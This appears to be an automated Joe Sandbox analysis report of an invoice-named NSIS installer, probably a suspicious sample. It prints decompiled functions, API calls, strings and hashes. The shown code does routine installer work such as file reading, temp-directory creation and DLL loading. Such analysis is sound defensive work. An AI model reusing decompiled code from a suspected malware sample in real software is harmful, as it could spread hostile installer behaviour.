						E0040653D(_t83, "C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp");
						_t64 = E00405B9D("C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x434f88 =  &( *0x434f88->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E0040559F();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E0040559F(0xffffffea,  *(_t86 - 8)); // executed
				 *0x434fb4 =  *0x434fb4 + 1;
				_t45 = E004032B4( *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x434fb4 =  *0x434fb4 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E0040657A(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E0040657A(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405B9D();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00441000,?,?,00000031), ref: 004017D5

Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A

Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00403418), ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll), ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Strings

C:\Users\user\AppData\Local\Temp\nspB8FC.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp$C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll$Call
API String ID: 1941528284-1167593250
Opcode ID: e76ef7c14b194b1d558144f9db04474b742f47f92f43e4e9c0b682ed5946015e
Instruction ID: 1e3f5e060805a06bac003644be00ba5f3fef1f2c353f2d3d357c0a6c5ca497fd
Opcode Fuzzy Hash: e76ef7c14b194b1d558144f9db04474b742f47f92f43e4e9c0b682ed5946015e
Instruction Fuzzy Hash: F4419371900108BACF11BFB5DD85DAE7A79EF45768B20423FF422B10E2D63C8A91966D

Uniqueness

Uniqueness Score: -1.00%

Function 0040559F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040559F(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x433ee4; // 0x303fa
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x434fb4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E0040657A(_t38, 0, 0x42c248, 0x42c248, _a4);
					}
					_t27 = lstrlenW(0x42c248);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x433ec8, 0x42c248); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x42c248;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x42c248[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x42c248, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004055a5
0x004055af
0x004055b4
0x004055ba
0x004055c5
0x004055c8
0x004055cb
0x004055d1
0x004055d1
0x004055d7
0x004055df
0x004055e2
0x004055ff
0x00405603
0x0040560c
0x0040560c
0x00405616
0x0040561f
0x0040562b
0x00405632
0x00405636
0x00405639
0x0040564c
0x0040565a
0x0040565a
0x0040565e
0x00405660
0x00405663
0x00000000
0x00405663
0x004055e4
0x004055ec
0x004055f4
0x004055fa
0x00000000
0x004055fa
0x004055f4
0x004055e2
0x0040566f

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00403418), ref: 004055FA
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll), ref: 0040560C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Part of subcall function 0040657A: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000), ref: 00406779

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll, xrefs: 004055C0, 004055D0, 004055D6, 004055F9, 00405605

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll
API String ID: 1495540970-1507286796
Opcode ID: 738a72538bd68e99fc25cc5aeb13fda9b39fd06f1dca7185dcaff0c953f7535c
Instruction ID: 138a2a903332092674924c4fce2a37a83712bc812e9b86ab44911e1df8857bb6
Opcode Fuzzy Hash: 738a72538bd68e99fc25cc5aeb13fda9b39fd06f1dca7185dcaff0c953f7535c
Instruction Fuzzy Hash: C1219071900558BACF11AFA9DD84DDFBF75EF45354F14803AF904B22A0C7794A419F68

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x434f88 =  *0x434f88 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E0040649D(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040610E( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004060B0( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??); // executed
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E00406484( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														__eax = SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1); // executed
														__ebp - 0x50 = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027b6
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 0040610E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406124

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
Instruction ID: 36eba916602f65c1f8b814f2f26102ddc75cc08ed25eda7b441ea0696c55e726
Opcode Fuzzy Hash: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
Instruction Fuzzy Hash: C551E975D00219AADF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040689A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040689A(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004068b1
0x004068ba
0x004068bc
0x004068bc
0x004068c0
0x004068d3
0x004068cd
0x004068cd
0x004068cd
0x004068ec
0x00406900
0x00406907

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
wsprintfW.USER32 ref: 004068EC
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900

Strings

UXTHEME, xrefs: 004068A3
\, xrefs: 004068C2
%s%S.dll, xrefs: 004068E6

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 21628a1c63ce2f140fdd4d546058f3b0ba52bdb51e88dcb335987c0e659eada7
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: D0F0F671511119ABDB10BB64DD0DF9B376CBF00305F10847AA646F10D0EB7CDA68CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405A6E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405A6E(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405a79
0x00405a7d
0x00405a80
0x00405a86
0x00405a8a
0x00405a8e
0x00405a96
0x00405a9d
0x00405aa3
0x00405aaa
0x00405ab1
0x00405ab9
0x00405abb
0x00000000
0x00405abb
0x00405ac5
0x00405acc
0x00405ae2
0x00000000
0x00000000
0x00000000
0x00405ae4
0x00405ae8

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
GetLastError.KERNEL32 ref: 00405AC5
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADA
GetLastError.KERNEL32 ref: 00405AE4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A94

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3355392842
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 637b0a295f6611997b04f2fb2f8121e2d74ae93851c1d74b8ff7b710bfe1865b
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 1A010871D04219EAEF019BA0DD84BEFBBB4EB14314F00813AD545B6281E7789648CFE9

Uniqueness

Uniqueness Score: -1.00%

Function 73E81817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E73E81817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v136;
				struct HINSTANCE__* _t37;
				void* _t39;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x73e8506c = _a8;
				 *0x73e85070 = _a16;
				 *0x73e85074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x73e85048, E73E81651);
				_push(1);
				_t37 = E73E81BFF();
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E73E8243E(_t54);
					}
					_push(_t54);
					E73E82480(_t67);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_push(_t54);
								_t37 = E73E82655();
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x1018; // 0x1018
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E73E81666(_t54,  &_v136);
								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
								_t18 = _t54 + 0x1018; // 0x1018
								_t72 = _t18;
								_push(_t54);
								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
								 *_t72 = 4;
								E73E82655();
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							_push(_t54);
							E73E82655();
							_t37 = GlobalFree(E73E81312(E73E81654(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E73E82618(_t54);
							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x1008);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
								_t37 = E73E815DD( *0x73e85068);
							}
						}
						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
							goto L28;
						} else {
							_t39 = GlobalFree(_t54); // executed
							return _t39;
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
